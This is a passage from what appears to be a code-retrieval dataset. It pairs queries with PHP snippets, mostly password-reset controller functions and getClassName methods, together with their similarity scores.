'crm.password.reset', 'class' => 'form-horizontal'])\n ->withEmail($user->email);\n }\n\n // return redirect()->route('frontend.auth.password.email')\n // ->withFlashDanger(trans('exceptions.frontend.auth.password.reset_problem'));\n }", "function forgot_password() {\n $datos['titulo'] = \"Restablecer Contraseña\";\n $this->render_page('usuarios/forgot_password', $datos);\n }", "public function resetAction()\n\t{\n\t\t$this->view->headTitle(\"Reset your password\");\n\t\n\t\t//If form is submitted, reset the password\n\t\tif($this->getRequest()->isPost()){\n\t\t\n\t\t\t//Validation\n\t\t\t//Password must be between 6-20 characters\n\t\t\t$valid_pswd = new Zend_Validate_StringLength(6, 20);\n\t\t\tif(! $valid_pswd->isValid($this->_request->getPost('password'))){\n\t\t\t\t$this->view->errors[] = \"Password must be at least 6 characters.\";\n\t\t\t}\n\t\t\t\n\t\t\t//Password must match\n\t\t\tif($this->_request->getPost('password') != \n\t\t\t $this->_request->getPost('password2')){\n\t\t\t\t$this->view->errors[] = \"Your passwords do not match.\";\n\t\t\t}\n\t\t\t\n\t\t\t//No errors, so update the password\n\t\t\tif(count($this->view->errors) == 0){\n\t\t\t\t\n\t\t\t\t//Find user row to update via registration_key column\n\t\t\t\t$user = new Default_Model_User();\n\t\t\t\t$resultRow = $user->getUserByRegkey($this->_request->getPost('key'));\n\t\t\t\t\n\t\t\t\tif(count($resultRow) == 1){\n\t\t\t\t\t$resultRow->password = md5($this->_request->getPost('password'));\n\t\t\t\t\t$resultRow->save();\n\t\t\t\t\t$this->view->updated = 1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else{ //Errors, so pass key back to form\n\t\t\t\t$this->view->success = 1;\n\t\t\t\t$this->view->key = $this->_request->getPost('key');\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}else{\n\t\t\t// User has clicked the emailed password recovery link. Find the user\n\t\t\t// using the recovery key, and prepare the password reset form\n\t\t\t\n\t\t\t//Retrieve key from url\n\t\t\t$recoveryKey = $this->getRequest()->getParam('key');\n\t\t\t\n\t\t\t$user = new Default_Model_User();\n\t\t\t$resultRow = $user->getUserByRegkey($recoveryKey);\n\t\t\t\n\t\t\t\tif(count($resultRow)){\n\t\t\t\t\t$resultRow->save();\n\t\t\t\t\t$this->view->success = 1;\n\t\t\t\t\t$this->view->key = $recoveryKey;\n\t\t\t\t} else{\n\t\t\t\t\t$this->view->errors[] = \"Unable to locate password recovery key.\";\n\t\t\t\t}\n\t\t\n\t\t} //end else\n\t}", "public function actionForgot()\n {\n $this->render('forgot');\n }", "public function passwordResetLinkSent() {\n\t\treturn view(\"pages.passwordreset.resetlinksent\");\n\t}", "public function showReset(){\n return view('resetPassword');\n }", "public function forgotPassword()\n {\n $breadCrumb = $this->userEngine\n ->breadcrumbGenerate('forgot-password');\n\n return $this->loadPublicView('user.forgot-password', $breadCrumb['data']);\n }", "public function admin_password_reset_page(){\n return view('singin&singup.forget.enter_email');\n \n }", "public function requestPasswordReset_action()\n {\n PasswordResetModel::requestPasswordReset(Request::post('user_name_or_email'));\n Redirect::to('index');\n }", "function display_forgot_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"forgot_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Escribe tu nombre de usuario</td>\r\n <td><input type=text name=username size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Change password\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}", "public function forgotpasswordAction() {\n $form = new Admin_Form_ResendPassword();\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->_request->getPost())) {\n //check user is registered\n $values = $form->getValues();\n $siteUsersMapper = new Application_Model_Table_AdminUsers();\n $exists = $siteUsersMapper->fetchByUsername($values['email_address']);\n if($exists){\n //user exists\n $recoveryEmailsMapper = new Application_Model_Table_AdminUserRecoveryEmails();\n $recoveryEmail = $recoveryEmailsMapper->createRow();\n $recoveryEmail->admin_user_id = $exists->admin_user_id;\n $recoveryEmail->email_address = $exists->username;\n $recoveryEmail->hashActivationKey();\n $recoveryEmail->save();\n }\n $this->_helper->FlashMessenger->addMessage('You password has been reset, please check your email' , 'successful');\n $this->_helper->redirector->goToRouteAndExit(array(), 'admin-dashboard', true);\n }\n }\n $this->view->form = $form;\n }", "public function forgotPasswordAction()\n {\n $form = new ForgotPasswordForm();\n\n if ($this->request->isPost()) {\n\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $user = Users::findFirstByEmail($this->request->getPost('email'));\n if (!$user) {\n $this->flash->success('There is no account associated to this email');\n } else {\n\n $resetPassword = new ResetPasswords();\n $resetPassword->usersId = $user->id;\n if ($resetPassword->save()) {\n $this->flash->success('Success! Please check your messages for an email reset password');\n } else {\n foreach ($resetPassword->getMessages() as $message) {\n $this->flash->error($message);\n }\n }\n }\n }\n }\n\n $this->view->form = $form;\n }", "public function forgotPasswordAction()\n {\n $form = new ForgotPasswordForm();\n\n if ($this->request->isPost()) {\n\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $user = Users::findFirstByEmail($this->request->getPost('email'));\n if (!$user) {\n $this->flash->success('There is no account associated to this email');\n } else {\n\n $resetPassword = new ResetPasswords();\n $resetPassword->usersId = $user->id;\n if ($resetPassword->save()) {\n $this->flash->success('Success! Please check your messages for an email reset password');\n } else {\n foreach ($resetPassword->getMessages() as $message) {\n $this->flash->error($message);\n }\n }\n }\n }\n }\n\n $this->view->form = $form;\n }", "public function forgotPassword(){\n\t\t// Set the Page Title ('pageName', 'pageSection', 'areaName')\n\t\t$this->_view->pageTitle = array('Forgot Your Password', 'Login');\n\t\t// Set Page Description\n\t\t$this->_view->pageDescription = 'You can reset your password.';\n\t\t// Set Page Section\n\t\t$this->_view->pageSection = 'Login';\n\n\t\t// Define expected and required\n\t\t$this->_view->expected = array('email');\n\t\t$this->_view->required = array('email');\n\n\t\t// Set default variables\n\t\t$this->_view->missing = array();\n\t\t$this->_view->error = array();\n\t\t$this->_view->postData = array();\n\n // If Form has been submitted process it\n\t\tif(!empty($_POST)){\t\t\t\n\t\t\t// Send $_POST to validate function\n\t\t\t$post = Form::ValidatePost($_POST, $this->_view->expected, $this->_view->required);\n\n\t\t\t// If true return array of formatted $_POST data\n\t\t\tif($post[0] == true){\n\t\t\t\t$this->_view->postData = $post[1];\n\t\t\t}\n\t\t\t// else return array of missing required fields\n\t\t\telse{\n\t\t\t\t$this->_view->missing = $post[1];\n\t\t\t}\n\n\t\t\tif(empty($this->_view->missing)){\n\n\t\t\t\t$email = $this->_view->postData['email'];\n\t\t\t\t\n\t\t\t\t// Fetch array of user details\n//\t\t\t\t$userDetails = $this->_model->getUserByEmail($email);\n//\t\t\t\t$this->_view->userDetails = $userDetails[0];\n\n\t\t\t\t// Validate Email\n\t\t\t\t$validateEmail = Form::ValidateEmail($email);\n\t\t\t\t// If true do nothing\n\t\t\t\tif($validateEmail[0] == true){}\n\t\t\t\t// else return error message\n\t\t\t\telse{\n\t\t\t\t\t$this->_view->error[] = $validateEmail[1];\n\t\t\t\t}\n\n\t\t\t\t// If no errors yet continue\n\t\t\t\tif(empty($this->_view->error)){\n\n\t\t\t\t\t// Get User ID for given Email Address\n\t\t\t\t\t$checkUser = $this->_model->checkUserLogin($email);\n\n\t\t\t\t\tif(!empty($checkUser)){\n\t\t\t\t\t\t$userID = $checkUser[0]['id'];\n\n\t\t\t\t\t\t// Create Unique string\n\t\t\t\t\t\t$security_key = hash('sha256', $email.time());\n\t\t\t\t\t\t$exp_date = date(\"Y-m-d H:i:s\", strtotime('+2 hours'));\n\n\t\t\t\t\t\t// Create array of data to post to the model\n\t\t\t\t\t\t$data = array();\n\t\t\t\t\t\t$data['user_id'] = $userID;\n\t\t\t\t\t\t$data['security_key'] = $security_key;\n\t\t\t\t\t\t$data['exp_date'] = $exp_date;\n\n\t\t\t\t\t\t// Send the Data to the Model\n\t\t\t\t\t\t$insertPasswordRecovery = $this->_model->insertPasswordRecovery($data);\n\t\t\t\t\t\tif($insertPasswordRecovery > 0){\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Send confirmation email\n\t\t\t\t\t\t\t$to = $checkUser[0]['email'];\n\t\t\t\t\t\t\t$this->_view->email_name = $checkUser[0]['firstname'];\n\t\t\t\t\t\t\t$this->_view->email_message = \"We have received a request to reset your account password. If you wish to reset your password click the button below and follow the steps listed. If you have not requested a password reset then ignore this email.\";\n $this->_view->email_button_link = $_SERVER['REDIRECT_proto'].'://'.$_SERVER['SERVER_NAME'].'/users/reset-password/'.$userID.'/'.$security_key.'/';\n\t\t\t\t\t\t\t$this->_view->email_button_text = \"Reset Password\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$subject = \"Reset account email\";\n $message = $this->_view->renderToString('email-templates/general-message-with-button', 'blank-layout');\n\n\t\t\t\t\t\t\t$sendEmail = Html::sendEmail($to, $subject, SITE_EMAIL, $message);\n\n\t\t\t\t\t\t\t$this->_view->success[] = \"We have sent you a link to reset your password. Please check your inbox for further instructions.\";\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t// Error Message\n\t\t\t\t\t\t\t$this->_view->error[] = 'There was a problem trying to create new reset password.';\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$this->_view->error[] = 'No user found with this email. Please try different email.';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}else{\n\t\t\t\t// Error Message\n\t\t\t\t$this->_view->error[] = 'Please complete the missing required fields.';\n\t\t\t}\n\t\t}\n\n\t\t// Render the view ($renderBody, $layout, $area)\n\t\t$this->_view->render('users/forgot-password', 'login-layout');\n\t}", "public function actionForgottenPassword() {\n\n $model = new ForgottenPasswordForm();\n\n if (isset($_POST['ForgottenPasswordForm'])) {\n\n $model->attributes = $_POST['ForgottenPasswordForm'];\n\n if ($model->validate()) {\n\n $person = DBServices::getPerson($model->email);\n\n if ($person != null) {\n\n $newPassword = DBServices::resetPassword($person);\n\n if (Emails::sendPerson_ResetPasswordEmail($person, $newPassword)) {\n\n Yii::app()->user->setFlash('success', Yii::t('texts', 'FLASH_EMAIL_SUCCESSFULLY_SENT'));\n } else {\n Yii::app()->user->setFlash('error', Yii::t('texts', 'FLASH_ERROR_SENDING_EMAIL'));\n }\n } else {\n Yii::app()->user->setFlash('error', Yii::t('texts', 'FLASH_ERROR_EMAIL_DOES_NOT_EXIST'));\n }\n }\n }\n\n $this->render('forgottenPassword', array('model' => $model));\n }", "public function passwordResetConfirmAction()\n {\n // get the view vars\n $errors = $this->view->errors;\n $site = $this->view->site;\n $validator = $this->view->validator;\n\n // set the input params\n $requiredParams = array(\n 'code',\n 'password',\n );\n\n $input = $this->processInput( $requiredParams, null, $errors );\n\n // check if there were any errors\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n $password = $input->getUnescaped( 'password' );\n\n // decode the hash and gets its parts, confirm all good and allow user to change password\n list( $userIdentification, $timestamp, $signature ) = explode( '|', base64_decode( urldecode( $input->code ) ) );\n\n // first assume userIdentification is a username\n $user = $site->getUserByUsername( $userIdentification );\n\n // if userIdentification is not a username, use userIdentification as an email address\n if ( ! $user ) {\n $user = $site->getUserByEmailAddress( $userIdentification );\n }\n\n $validator->checkValidUser( $user, $errors );\n $validator->checkValidResetPasswordCode( $site, $userIdentification, $timestamp, $signature, $errors );\n\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n // all passed, so lets change this user's password and log in\n $user->setPassword( $password );\n $user->save();\n\n // set the cookie/log the user in if they are a parent\n// if ( $user->getUserType() == BeMaverick_User::USER_TYPE_PARENT ) {\n// BeMaverick_Cookie::updateUserCookie( $user );\n// }\n\n if ( $user->getUserType() == BeMaverick_User::USER_TYPE_KID ) {\n $toEmailAddress = $user->getParentEmailAddress();\n } else {\n $toEmailAddress = $user->getEmailAddress();\n }\n\n // send mail to recover your password\n $vars = array(\n 'USERNAME' => $user->getUsername(),\n );\n\n BeMaverick_Email::sendTemplate( $site, 'user-reset-password', array( $toEmailAddress ), $vars );\n\n return $this->renderPage( 'authPasswordResetConfirm' );\n }", "function forgotpass() {\r\n load_admin_view('forgot_password_view');\r\n }", "public function showResetForm(Request $request, $token = null) {\n return view('lyra::auth.passwords.reset')->with(\n ['token' => $token, 'email' => $request->email]\n );\n }", "public function forgotPassword()\n {\n if ($this->issetPostSperglobal('email') && !empty($this->getPostSuperglobal('email'))) {\n if ($this->users_manager->resetToken($this->getPostSuperglobal('email'))) {\n $this->session->writeFlash('success', \"Les instructions pour réinitialiser votre mot de passe vous ont été envoyées par email, vous avez 30 minutes pour le faire.\");\n } else {\n $this->session->writeFlash('danger', \"Aucun compte ne correspond à cet adresse mail : {$this->getPostSuperglobal('email')}.\");\n }\n } else {\n $this->session->writeFlash('danger', \"L'adresse mail n'est pas ou est mal renseignée.\");\n }\n $this->render('forgot-password', ['head'=>['title'=>'Mot de passe oublié', 'meta_description'=>'']]);\n }", "public function forgetpassword()\n \t{\n \t\t$this->data['title'] = 'Forgot Password';\n\t\t$this->show_viewFrontInner('forget-password', $this->data);\n \t}", "public function showResetForm(Request $request, $token)\n {\n $tokenData = DB::table('password_resets')\n ->where('token', $token)->first();\n\n /* Redirect the user back to the password \n reset request form if the token is invalid */\n if (!$tokenData) \n { \n $message = 'Invalid token. Please contact Systems Admin';\n return view('auth.passwords.reset', \n compact(['message']));\n }\n else\n {\n return view('auth.passwords.reset', \n compact(['token']));\n }\n\n }", "function display_forgot_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"forgot_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Enter your username</td>\r\n <td><input type=text name=username size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Change password\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}", "public function getResetPassword()\n {\n return view('admin.reset_password')->with(['success'=>'success message']);\n }", "public function passwordChangeForm()\n {\n return view('turtle::auth.password.change');\n }", "function _s_reset_password_link() {\n return sprintf( '<a href=\"%s/lost-password/\">%s</a>', site_url(), __( 'Forgot your password?' ) );\n}", "public function showForgetPasswordForm()\n { \n \n if(request()->isPost()) {\n \n $inputs = request()->get();\n\n $validator = new ForgetpassValidator;\n $validation = $validator->validate($inputs);\n\n if (count($validation)) {\n session()->set('input', $inputs);\n\n return redirect()->to(url()->previous())\n ->withError(ForgetpassValidator::toHtml($validation));\n }\n\n try {\n $token = bin2hex(random_bytes(100));\n\n $user = $this->userService->getFirstByEmail( $inputs['email']);\n $params = $this->userService->resetPassword($user, $token);\n\n queue(\n // 'Components\\Queue\\Email@registeredSender',\n \\Components\\Queue\\Email::class,\n [\n 'function' => 'registeredSender',\n 'template' => 'emails.forgetpass',\n 'to' => $inputs['email'],\n 'url' => route('showResetPasswordForm', ['token' => $token , 'id' => $user->getId() ]),\n 'subject' => 'You tried to reset your password.',\n ]\n );\n \n } catch (EntityException $e) {\n return redirect()->to(url()->previous())\n ->withError(lang()->get('responses/forgetpass.wait_more', ['time' => $e->getMessage() ]));\n\n \n } catch (EntityNotFoundException $e) {\n return redirect()->to(url()->previous())\n ->withError(lang()->get('responses/forgetpass.no_email'));\n }\n\n return redirect()->to(route('showLoginForm'))\n ->withSuccess(lang()->get('responses/forgetpass.creation_success'));\n\n }\n \n # find session if it has an 'input'\n if (session()->has('input')) {\n\n # get the session 'input' then remove it\n $input = session()->get('input');\n session()->remove('input');\n\n # set the tag 'email' to rollback the value inputted\n tag()->setDefault('email', $input['email']);\n }\n\n return view('auth.showForgetPasswordForm');\n }", "public function showChangePasswordForm()\n {\n return view('dashboard.change-password');\n }", "public function getForgotPassword()\n {\n \treturn view('layouts.forgotPassword');\n }", "public function forgottenPasswordPage() {\n return $this->responseFactory->html('user/forgottenPassword.html.twig');\n }", "public function forgotPassword()\n {\n return \\View::make('pageblok::users.forgotPasswordForm');\n }", "public function forgotPassword()\n\t{\n\t\t$this->layout->content = View::make('login.password');\n\t}", "public function passwordEmailForm()\n {\n return view('turtle::auth.password.email');\n }", "public function successPassword() {\n $this->loadFrontView('profile/after_password_reset');\n }", "public function showChangePasswordForm(){\n return view('admin.change-password');\n }", "public function showChangePasswordForm()\n {\n return view('auth.changepassword');\n }", "public static function GetForgotPasswordURL() {\n // TODO: when we implement other authentication providers (SAML/etc)\n // this URL will need to be configuable by the system administrator\n // since they likely will not want users attempting to reset ChurchCRM passwords\n // but rather redirect users to some other password reset mechanism.\n return SystemURLs::getRootPath() . \"/session/forgot-password/reset-request\";\n }", "public function testDisplaysPasswordResetRequestForm()\n {\n $response = $this->get('password/reset');\n $response->assertStatus(200);\n }", "public function getPasswordReset(){\n return view('auth.passwords.reset');\n }", "public function reset_password()\n {\n $view_data = [\n 'form_errors' => []\n ];\n\n if ($this->input->is_post()) {\n $res = $this->_api('user')->update_password( [\n 'password' => $this->input->post('password'),\n 'confirm_password' => $this->input->post('confirm_password'),\n 'token' => $this->input->get('token'),\n 'id' => $this->input->get('id')\n ]);\n\n // Redirect if reset password successful\n if($res['submit']) {\n redirect('/login/reset_password_complete');\n return;\n }\n\n $view_data = [\n 'form_errors' => isset($res['invalid_fields']) ? $res['invalid_fields'] : [],\n 'errmsg' => isset($res['errmsg']) ? $res['errmsg'] : null,\n 'post' => $this->input->post()\n ];\n }\n\n $this->_render($view_data);\n }", "public function showPasswordRequestPage()\n {\n $user = User::first();\n\n return view('users.password_request', compact('user'));\n }" ]
[ "0.82746035", "0.8026065", "0.7937366", "0.790148", "0.77341527", "0.7705268", "0.7705268", "0.7630974", "0.76198614", "0.7568418", "0.7560725", "0.7485317", "0.7485177", "0.7482375", "0.7467139", "0.7437944", "0.74254894", "0.74085516", "0.73910666", "0.7389647", "0.73745", "0.72844875", "0.72828335", "0.72796863", "0.726539", "0.72558826", "0.7233472", "0.7226721", "0.72042346", "0.7176021", "0.7165828", "0.7161097", "0.7129893", "0.71151143", "0.7115086", "0.70950675", "0.70862436", "0.70743704", "0.70452416", "0.7039677", "0.7011092", "0.70038736", "0.6999076", "0.6998956", "0.6986068", "0.6978917", "0.6976218", "0.697156", "0.69625753", "0.6958525", "0.6957537", "0.6932966", "0.6929932", "0.6919581", "0.6918488", "0.69024104", "0.6897632", "0.68885636", "0.6877435", "0.6865494", "0.6860087", "0.6858931", "0.6831837", "0.6828285", "0.6819753", "0.68104345", "0.6809678", "0.6795722", "0.67950135", "0.67770827", "0.6771398", "0.6770078", "0.6770078", "0.67612696", "0.67597675", "0.67549247", "0.6754817", "0.67540723", "0.6751084", "0.6738705", "0.6730002", "0.67217743", "0.67201865", "0.6683068", "0.66715956", "0.6662774", "0.66607285", "0.6657199", "0.66556484", "0.66541654", "0.6651155", "0.66500616", "0.66499835", "0.6648098", "0.6644862", "0.66390526", "0.6635306", "0.6612009", "0.66112494", "0.66043293" ]
0.7127266
33
Method returning the class name
public function __toString() { return __CLASS__; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getClassName();", "public function getClassName();", "public function getClassName() ;", "public function getClassName() {}", "public function getClassName() {}", "public function getClassName() {}", "public function getClassName() {}", "public function getClassName()\n {\n return __CLASS__;;\n }", "private function get_class_name() {\n\t\t\treturn !is_null($this->class_name) ? $this->class_name : get_class($this);\n\t\t}", "public function getClassName() {\r\n\t\treturn($this->class_name);\r\n\t}", "public static function get_class_name() {\r\n\t\treturn __CLASS__;\r\n\t}", "public function getClassName() { return __CLASS__; }", "public static function getClassName() {\n\t\treturn get_called_class();\n\t}", "public function getClassName(): string\n {\n return $this->get(self::CLASS_NAME);\n }", "public static function getClassName()\n\t{\n\t\treturn get_called_class();\n\t}", "public static function getClassName()\n {\n return get_called_class();\n }", "public function getClassName()\n {\n return $this->class;\n }", "public function getClassName()\n {\n return $this->class;\n }", "public static function className() : string {\n return get_called_class();\n }", "public function getName()\n {\n return __CLASS__;\n }", "public function getName()\n\t{\n\t\treturn str_replace('\\\\', '_', __CLASS__);\n\t}", "public function getClassName()\n {\n return $this->class_name;\n }", "public function class_name() {\n\t\treturn strtolower(get_class($this));\n\t}", "public function getName(): string\n {\n return __CLASS__;\n }", "public static function getClassName() {\n return get_called_class();\n }", "public function getClassname(){\n\t\treturn $this->classname;\n\t}", "public function getClassname()\n\t{\n\t\treturn $this->classname;\n\t}", "public function getClassName()\n {\n return $this->_sClass;\n }", "public function get_just_class_name() {\n\n\t\t$full_path = $this->get_called_class();\n\n\t\treturn substr( strrchr( $full_path, '\\\\' ), 1 );\n\n\t}", "protected function getClassName(): string\n {\n return $this->className;\n }", "public static function getClassName() {\n return self::$className;\n }", "public function getClassName(): string;", "public function getClassName() : string;", "public function getName() {\r\n $parsed = Parser::parseClassName(get_class());\r\n return $parsed['className'];\r\n }", "public function getClassName() : string\n {\n return $this->className;\n }", "public function getClassName()\n {\n $fullClass = get_called_class();\n $exploded = explode('\\\\', $fullClass);\n\n return end($exploded);\n }", "public static function getClassName()\n {\n $classNameArray = explode('\\\\', get_called_class());\n\n return array_pop($classNameArray);\n }", "public function getClassName(): string\n {\n return $this->className;\n }", "public function getClassName(): string\n {\n return $this->className;\n }", "public function getClassName() {\t\t\n\t\treturn MemberHelper::getClassName($this->classNumber);\n\t}", "public function getName()\n\t{\n\t\treturn substr(__CLASS__, 7);\n\t}", "public function getName()\n\t{\n\t\treturn substr(__CLASS__, 7);\n\t}", "public function getClassName() {\r\n\t\treturn $this->strClassName;\r\n\t}", "public function getClassName() : string\n {\n\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public function getClassName()\n {\n return $this->className;\n }", "public static function staticGetClassName()\n {\n return __CLASS__;\n }", "public function getClassName() {\n return $this->className;\n }", "public function getClassName() {\n\t\treturn $this->className;\n\t}", "public function getClassName(): string\n {\n return $this->makeClassFromFilename($this->filename);\n }", "public function getClassName() {\n\t\treturn $this->_className;\n\t}", "public function getClassName() {\n return $this->className;\n }", "public function getClassName() {\n return $this->className;\n }", "public function getClassName ()\n {\n $className = explode('\\\\', get_class($this));\n\n return array_pop($className);\n }", "function getClassName()\n {\n // TODO: Implement getClassName() method.\n }", "public static function getClassName(){\n $parts = explode('\\\\', static::class);\n return end($parts);\n }", "function getClassName(){\n echo __CLASS__ . \"<br><br>\"; \n }", "public function name()\n {\n $name = get_class($this);\n\n return substr($name, strrpos($name, '\\\\') + 1);\n }", "public function class()\n {\n // @codingStandardsIgnoreLine\n return $this->class ?? \"\";\n }", "public function getClass()\n {\n return $this->_className;\n }", "private function getClassName() {\n return (new \\ReflectionClass(static::class))->getShortName();\n }", "public function getName() {\n\t\t\n\t\t// cut last part of class name\n\t\treturn substr( get_class( $this ), 0, -11 );\n\t\t\n\t}", "public function getClassNm()\r\n {\r\n\t\t$tabInfo = $this->getPathInfo();\r\n\t\treturn $tabInfo[1];\r\n }", "public function className()\n {\n $full_path = explode('\\\\', get_called_class());\n return end($full_path);\n }", "private function className () {\n $namespacedClass = explode(\"\\\\\", get_class($this));\n\n return end($namespacedClass);\n }", "public function getClass(): string\n {\n return $this->class;\n }", "public static function getFullyQualifiedClassName() {\n $reflector = new \\ReflectionClass(get_called_class());\n return $reflector->getName();\n }", "public function getClassName()\n\t{\n\t\tif (null === $this->_className) {\n\t\t\t$this->setClassName(get_class($this));\n\t\t}\n\t\t\n\t\treturn $this->_className;\n\t}", "public function getClassName() : string {\n if ($this->getType() != Router::CLOSURE_ROUTE) {\n $path = $this->getRouteTo();\n $pathExplode = explode(DS, $path);\n\n if (count($pathExplode) >= 1) {\n $fileNameExplode = explode('.', $pathExplode[count($pathExplode) - 1]);\n\n if (count($fileNameExplode) == 2 && $fileNameExplode[1] == 'php') {\n return $fileNameExplode[0];\n }\n }\n }\n\n return '';\n }", "public function getName(){\n\t\treturn get_class($this);\n\t}", "public function getClassName() {\r\n return $this->myCRUD()->getClassName();\r\n }", "public static function className()\n\t{\n\t\treturn static::class;\n\t}", "public function toClassName(): string\n {\n return ClassName::full($this->name);\n }", "public function getName()\n {\n return static::CLASS;\n }", "public function getClass(): string;", "public function getClass(): string;", "public function getClass(): string;", "public function getClass(): string;", "public function getClass(): string;", "public function getClass(): string;", "function getName()\n {\n return get_class($this);\n }", "public function className(): string\n {\n return $this->taskClass->name();\n }", "public static function getClassName($class)\n {\n return static::splitClassName($class)[1];\n }", "function getName()\r\n\t{\r\n\t\treturn get_class($this);\r\n\t}", "public function getName() {\n return get_class($this);\n }", "public function getName() {\n return get_class($this);\n }", "public function toString()\n {\n return __CLASS__;\n }", "public function getName()\n\t{\n\t\treturn $this->name ?: class_basename($this);\n\t}", "public function getNamespacedName()\n {\n return get_class();\n }", "protected function name() {\n\t\treturn strtolower(str_replace('\\\\', '_', get_class($this)));\n\t}", "protected function getClassName()\n {\n return ucwords(camel_case($this->getNameInput())) . 'TableSeeder';\n }", "function getClassName($name)\n{\n return str_replace('_', ' ', snake_case(class_basename($name)));\n}", "public function getClassName(): ?string {\n\t\treturn Hash::get($this->_config, 'className');\n\t}", "public function __toString() {\n\t\treturn $this->className();\n\t}", "public static function name()\n {\n return lcfirst(self::getClassShortName());\n }" ]
[ "0.87522393", "0.87522393", "0.8751158", "0.87397957", "0.87397957", "0.87397957", "0.87397957", "0.8731564", "0.8696754", "0.8673495", "0.8638432", "0.8615335", "0.8603119", "0.8566906", "0.8562364", "0.8555002", "0.85503733", "0.85503733", "0.85425884", "0.8533183", "0.8529981", "0.85237026", "0.8502733", "0.8493115", "0.8491238", "0.8488943", "0.8484194", "0.847459", "0.8441478", "0.8418852", "0.8399611", "0.83950585", "0.83949184", "0.83853173", "0.8378261", "0.837777", "0.8372544", "0.8355432", "0.8355432", "0.83479965", "0.8325877", "0.8325877", "0.8312873", "0.83027107", "0.8272631", "0.8272631", "0.8272631", "0.8272631", "0.8272631", "0.8272631", "0.8272631", "0.8272631", "0.82474744", "0.8242934", "0.8202995", "0.8185409", "0.8184752", "0.81829107", "0.81829107", "0.8176191", "0.81761754", "0.8162896", "0.8142928", "0.81323636", "0.8062757", "0.80528253", "0.8045769", "0.8033823", "0.8026215", "0.8001116", "0.79949147", "0.79779136", "0.79672754", "0.7957633", "0.790449", "0.78617185", "0.7860126", "0.7847096", "0.78195953", "0.7817044", "0.780094", "0.780094", "0.780094", "0.780094", "0.780094", "0.780094", "0.77821547", "0.7761565", "0.77588034", "0.7747239", "0.77409905", "0.77409905", "0.7710985", "0.76808393", "0.7670475", "0.76640886", "0.76514393", "0.76499707", "0.76323646", "0.76005036", "0.75937456" ]
0.0
-1
/ For billingitem overwrites: numberpart, totalparts, reftype & freqtype
public function __set($attri, $value) { if (in_array($attri, self::DYN_ATTRIBUTES)) { $this->{$attri} = $value; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function refactorBasedonItems()\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n if ($cabinet->wood_xml)\n {\n $woods = self::returnWoodArray($cabinet);\n foreach ($woods AS $wood)\n {\n $this->cabItems += $wood['qty'];\n $this->instItems += $wood['qty'];\n }\n }\n }\n\n /*\n if ($this->cabItems < 30)\n {\n $this->cabItems = 30;\n }\n\n if ($this->instItems < 30 && $this->quote->type != 'Cabinet Small Job')\n {\n $this->instItems = 30;\n }\n\n\n if ($this->instItems > 35 && $this->instItems < 40)\n {\n $this->instItems = 40;\n }\n\n // Start Staging Price Blocks.\n if ($this->cabItems > 30 && $this->cabItems < 40)\n {\n $this->cabItems = 40;\n }\n */\n\n // For Designer\n if ($this->quote->type == 'Full Kitchen' || $this->quote->type == 'Cabinet and Install')\n {\n if ($this->cabItems <= 35)\n {\n $this->forDesigner = $this->getSetting('dL35');\n }\n else\n {\n if ($this->cabItems > 35 && $this->cabItems <= 55)\n {\n $this->forDesigner = $this->getSetting('dG35L55');\n }\n else\n {\n if ($this->cabItems > 55 && $this->cabItems <= 65)\n {\n $this->forDesigner = $this->getSetting('dG55L65');\n }\n else\n {\n if ($this->cabItems > 65 && $this->cabItems <= 75)\n {\n $this->forDesigner = $this->getSetting('dG65L75');\n }\n else\n {\n if ($this->cabItems > 75 && $this->cabItems <= 85)\n {\n $this->forDesigner = $this->getSetting('dG75L85');\n }\n else\n {\n if ($this->cabItems > 85 && $this->cabItems <= 94)\n {\n $this->forDesigner = $this->getSetting('dG85L94');\n }\n else\n {\n if ($this->cabItems > 94 && $this->cabItems <= 110)\n {\n $this->forDesigner = $this->getSetting('dG94L110');\n }\n else\n {\n if ($this->cabItems > 110)\n {\n $this->forDesigner = $this->getSetting('dG110');\n }\n }\n }\n }\n }\n }\n }\n }\n\n }\n else\n {\n if ($this->quote->type == 'Cabinet Small Job' || $this->quote->type == 'Builder')\n {\n $this->forDesigner = 250;\n }\n }\n\n // ----------------------- Quote Type Specific values\n\n // For Frugal + on Quote and remove plumber and electrician rates.\n if ($this->quote->type == 'Cabinet Only')\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n if (!$cabinet->cabinet || !$cabinet->cabinet->vendor)\n {\n echo \\BS::alert(\"danger\", \"Unable To Determine Cabinets\",\n \"Cabinet type has not been selected! Unable to figure multiplier.\");\n return;\n }\n $add = ($cabinet->price * 